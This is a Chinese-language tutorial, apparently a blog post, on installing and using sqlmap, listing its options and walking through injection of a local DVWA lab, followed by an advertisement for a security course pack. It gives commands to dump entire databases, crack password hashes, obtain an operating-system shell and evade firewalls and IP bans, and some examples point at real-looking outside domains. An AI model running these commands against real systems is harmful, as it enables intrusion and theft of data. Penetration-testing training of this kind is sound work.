天学会一个【黑客工具】SQLmap安装教程及使用，SQL注入零基础入门到精通教程！

01、SQLmap简介

Sqlmap是一款开源的渗透测试工具

🚀下载及安装

下载地址：http://sqlmap.org/

windows或mac下载第一个，linux下载第二个

kali默认自带sqlmap不需要安装

解压刚下载好的压缩包后，重命名为sqlmap

移动到python目录下

复制sqlmap的路径，我的是D:\Python\SQLMap

回到桌面，右击新建 > 快捷方式

快捷方式名

创建成功！右击选择属性，更改起始位置

双击sqlmap的快捷图标，输入python sqlmap.py，验证是否安装成功

02、SQLmap的使用

在注入的url中要包含参数和cookie值，通过sqlmap工具中–cookie参数带上cookie值

抓包查找cookie值后写在–cookie后方

分析测试结果

💦参数详解

1️⃣target：目标

1. -u 目标url
3. -m 将目标地址保存在文件中，一行为一个URL地址进行批量检测
5. -r 从文件中加载http请求
7. -d 直接连接数据库的连接字符
9. -l 从Burp或者websscarab代理日志文件中分析目标
11. -x 从远程网站地图（sitemap.xml）文件来解析目标
13. -g 从谷歌中加载结果目标url（只获取前100个结果，需要挂代理）
15. -c 从配置ini文件中加载选项

复制代码

目标URL

1. python sqlmap.py -u "目标url" --batch --cookie "cookie值"

复制代码

• –batch：sqlmap帮你判断选择yes或no

• –cookie：登陆后扫描

从文本中获取多个目标扫描

1. python sqlmap.py -m 1.txt --batch

复制代码

1.txt文件中保存url格式如下，sqlmap会一个一个检测

1. www.magedu1.com/vu1n1.php?q=q=student
3. www.magedu2.com/vuln2.asp?id=1
5. www.magedu3.com/vuln3/id/1*

复制代码

从文件中加载http请求

1. python sqlmap.py -r 1.txt --batch

复制代码

直接把bp抓到的请求包复制到一个文本文件里，这样可以让我们省去写cookie和url等参数

比如1.txt文本文件内容如下：

1. POST/students.php
3. HTTP/1.1
5. Host:www.magedu.com
7. User-Agent:Mozilla/4.0
10. id=1

复制代码

2️⃣Request：请求设置

1. --method 指定请求方法
3. --data 把数据以post方式提交
5. --param 当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数
7. --cookie 设置提交请求的时候附带所设置的cookie
9. --load-cookie 从文件获取cookie
11. --user-agent 可以使用–user-anget参数来修改
13. --headers 可以通过–headers参数来增加额外的http头
15. --proxy 设置代理，可以避免本机地址被封禁
17. --delay 可以设定两个HTTP(S)请求间的延迟防止发送过快导致被封ip
19. --random-agent 使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候，会尝试对User-Angent进行注入
21. --referer 在请求目标的时候可以自己伪造请求包中的referer
23. –-level 参数设定为3或者3以上的时候会尝试对referer注入
25. --scope 利用正则过滤目标网址

复制代码

把数据以POST方式提交

当参数写在url里会当成get方式，–data可以用post方式提交并进行检测

1. python sqlmap.py -u "http://www.baidu.com/students.php" --data="id=1" -f --banner --dbs --users

复制代码

• –banner：指纹信息

• –dbs：数据库

• –users：表名

利用正则过滤目标网址

1. python sqlmap.py -l burp_http.log --scope="(www)?\.tagdet\.(com|net|org)"

复制代码

burp_http.log：从bp中加载的日志文件

避免过多的错误请求被屏蔽

sql注入的过程也可以理解成爆破的过程，在这么多的请求中也会有大量的报错请求，而有的网站会有一些保护机制，使用这个参数可以避免发送过多的错误请求导致ip被封掉

参数：–safe-url,–safe-freq

1. --safe-url：提供一个安全不错误的链接，每隔一段时间都会去访问一下
3. --safe-freq：提供一个安全不错误的链接，每次测试请求之后都会在访问一遍安全连接

复制代码

3️⃣Optimization：优化

1. -o 开启所有优化开关

复制代码

4️⃣Injection：注入

1. -p 想要测试的参数
3. -skip 不想要测试的参数
5. --dbms 指定数据库，节省sqlmap的检测时间
7. --os 指定数据库服务系统，节省sqlmap的检测时间
9. --tamper 使用sqlmap自带的tamper（脚本），或者自己写的tamper，来混淆payload，通常用来绕过waf和ips

复制代码

测试参数

-p：指定测试的参数

1. -p "id,user-anget"

复制代码

–skip：指定要跳过的参数

1. --skip="user-agent,referer"

复制代码

指定数据库服务器系统

参数：–OS

一方面可以提速，另一方面降低被发现的可能性

指定大数字来使值无效

参数：–invalid-bignum

当用户想指定一个报错的数值时，可以使用这个参数，比如指定id=9999999999

指定逻辑运算来使值无效

参数：–invalid-logical

原理同上，比如指定id=1 and 18=19结果为假，从而引起报错，让你查不到内容

5️⃣Detection：探测等级

1. --level=1 执行测试的等级（1~5，默认为1）
3. --risk 共有四个风险等级（0~3）（慎用）

复制代码

探测等级

参数：–level

共有5个等级，默认为1，最大为5

• 1级：不会探测http header

• 2级：探测加上cookie

• 3级：探测加上HTTP User-Agent/Refere

总之在不确定哪个payload或者参数为注入点时，为了保证全面性，建议使用高的level值

风险等级

参数：–risk

共有3个风险等级，默认是1

• 1会测试大部分的测试语句

• 2会增加基于事件的测试语句

• 3会增加or语句的SQL注入测试

有时候，例如在updata、delete的语句中，注入一个or的测试语句，可能导致更新或删除整个表，造成很大的风险

在工作中–risk谨慎使用，会对业务造成伤害

6️⃣fingerprint：指纹

1. -f ，--fingerprint 执行检查广泛的dbms版本指纹

复制代码

7️⃣enumeration：枚举

1. -a，--all 获取所有信息
3. -b，--banner 获取数据库挂你系统的表示
5. --current-user 获取数据库管理系统当前数据库
7. --hostname 获取数据库服务器的主机名称
9. --is-dba 检测DBMS当前用户是否是DBA（数据库管理员）
11. --users 枚举数据库管理系统用户
13. --passwords 枚举数据库管理系统用户密码哈希
15. --privieges 枚举数据库管理系统用户的权限
17. --roles 枚举数据库管理系统用户的角色
19. --dbs 枚举数据库管理系统数据库
21. --tables 枚举DBMS数据库中的表
23. --columns 枚举DBMS数据库中的表
25. --schema 枚举数据库架构
27. --count 检索表的项目数
29. --dump 转储数据库表项，即下载
31. --dump-all 转储数据库所有表项
33. --search 搜索列（s），表（s）和/或数据库名称（s）
35. --comments 获取DBMS注释
37. -D 要进行枚举的指定数据库名
39. -T DBMS数据库表枚举
41. -C DBMS数据库表列枚举
43. -X DBMS数据库表不进行枚举
45. -U 用来进行枚举的数据库用户
47. --exclude-sysdbs 枚举表时排除系统数据库
49. --pivot-column=p.. privot columnname
51. --where=DUMPWHERE USE WHEREcondition while table dumping
53. --start=LIMITSTART 获取第一个查询输出数据位置
55. --stop=LIMITSTOP 获取最后查询的输出数据
57. --first=FIRSTCHAR 第一个查询输出字的字符获取
59. --last=LASTCHAR 最后查询的输出字字符获取
61. --sql-query=QUERY 要执行的SQL语句
63. --sql-shell 提示交互式SQL的shell
65. --sql-file=SQLFILE 要执行的SQL文件

复制代码

标识

参数：-b，-banner

数据库版本信息

当前用户

参数：–current-user

当前数据库

参数：–current-db

当前用户是否为管理员

参数：–is-dba

列出数据库管理用户

参数：–users

列出并破解数据库用户的hash值

参数：–passwords

列出数据库系统中的数据库

参数：–dbs

1. python sqlmap.py -r 1.txt --dbs

复制代码

列举数据库表

参数：–tables、–exclude-sysdbs、-D

列举数据库表中的字段

参数：–columns，-C，-T，-D

8️⃣Brute force：爆破

1. --common-tables 检查存在共同表
3. --common-columns 检查存在共同列
5. --shared-lib=SHLIB 共享库的本地路径

复制代码

9️⃣file system access：访问文件系统

1. --file-read 从后端的数据库管理系统读取文件
3. --file-writeE上传文件到后端的数据库管理系统
5. --file-dest 后端的数据库管理系统写入文件的绝对路径

复制代码

读文件前提：要知道读这个文件的路径

写文件：要指定上传文件，指定上传文件路径

🔟Operating system access：访问操作系统

1. --os-cmd=OSCMD 执行操作系统命令
3. --os-shell 交互式的操作系统的shell
5. --os-pwn 获取一个OOB shell，meterpreter或VNC
7. --os-smbrelay 一键获取一个OOB shellmeterpreter或VNC
9. --os-bof 存储过程缓冲区溢出利用
11. --priv-esc 数据库进程用户权限提升
13. --msf-path=MSFPATH Metasploit Framework本地的安装路径
15. --tmp-path=TMPPATH 远程临时文件目录的绝对路径

复制代码

获取整个表的数据

参数：-dump，-C，-T，-D，–start，–stop，–first，–last

获取所有数据库表的内容

参数：–dump-all，–exclude-sysdbs

–dump-all获取所有数据库表的内容，可同时加上–exclude-sysdbs排除系统数据库，只获取用户数据库的表，即业务数据

字段、表、数据库

参数：–search -C，-T，-D

运行任意操作系统命令

参数：–os-cmd，–os-shell

–os-shell：直接拿到操作系统的命令行

爬取网站url

参数：–crawl

sqlmap可以收集潜在的可能存在漏洞的链接，后面跟的参数是爬行的深度，此时的url可以不带参数

1. python sqlmap.py -u "http://www.baidu.com" --crawl=3

复制代码

忽略在会话文件中存储的查询结果

参数：–fresh-queries

如果不想让历史的缓存数据，影响到本次缓存结果，就加上这个参数

自定义输出的路径

参数：–output-dir

默认把缓存结果保存在output文件夹下，可以通过这个参数进行修改

---

03、实际利用（DVWA）

当给sqlmap一个url时，它会：

• 判断可注入的参数

• 判断可以使用哪种SQL注入技术来注入

• 识别出哪种数据库

• 根据用户选择，读取哪些数据

dvwa使用sqlmap工具注入流程，如果你想看到sqlmap发送的测试payload最好的等级就是3

1. # 判断注入点，因系统需要登录所以要加cookie
2. python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=isgvp2rv4uts46jbkb9bouq6ir;
3. security=low" -p id
5. # 检测站点包含哪些数据库
6. python sqlmap.py -u "http://127.0.0.1:8080/vulnerabilities/sqli/?id=1&submit=submit#" --cookie="PHPSESSIE=isgvp2rrv4uts46jbkb9bouq6ir;
7. security=low" -p id --dbs

复制代码

技巧：在实际检测过程中，sqlmap会不停的询问，需要手工输入“Y/N”来进行下一步操作，可以使用参数–batch命令来自动答复和判断

查看数据库管理系统中有哪些数据库

查看dvwa库下的所有表

查看users表中的字段

获取所有数据

学习资源

---

如果你也是零基础想转行网络安全，却苦于没系统学习路径、不懂核心攻防技能？光靠盲目摸索不仅浪费时间，还消磨自己信心。这份 360 智榜样学习中心独家出版《网络攻防知识库》专为转行党量身打造！

01 内容涵盖

这份资料专门为零基础转行设计，19 大核心模块从 Linux系统、Python 基础、HTTP协议等地基知识到 Web 渗透、代码审计、CTF 实战层层递进，攻防结合的讲解方式让新手轻松上手，真实实战案例 + 落地脚本直接对标企业岗位需求，帮你快速搭建转行核心技能体系！

这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】

**读者福利 |** [CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 ]

02 知识库价值

• 深度： 本知识库超越常规工具手册，深入剖析攻击技术的底层原理与高级防御策略，并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等，提供了独到的技术视角和实战验证过的对抗方案。
• 广度： 面向企业安全建设的核心场景（渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营），本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点，是应对复杂攻防挑战的实用指南。
• 实战性： 知识库内容源于真实攻防对抗和大型演练实践，通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。

03 谁需要掌握本知识库

• 负责企业整体安全策略与建设的 CISO/安全总监
• 从事渗透测试、红队行动的 安全研究员/渗透测试工程师
• 负责安全监控、威胁分析、应急响应的 蓝队工程师/SOC分析师
• 设计开发安全产品、自动化工具的 安全开发工程师
• 对网络攻防技术有浓厚兴趣的 高校信息安全专业师生

04 部分核心内容展示

360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式，既夯实基础技能，更深入高阶对抗技术。

内容组织紧密结合攻防场景，辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合，是你学习过程中好帮手。

1、网络安全意识

2、Linux操作系统

3、WEB架构基础与HTTP协议

4、Web渗透测试

5、渗透测试案例分享

6、渗透测试实战技巧

7、攻防对战实战

8、CTF之MISC实战讲解

这份完整版的网络安全学习资料已经上传CSDN【保证100%免费】

**读者福利 |** [CSDN大礼包：《网络安全入门&进阶学习资源包》免费分享 ]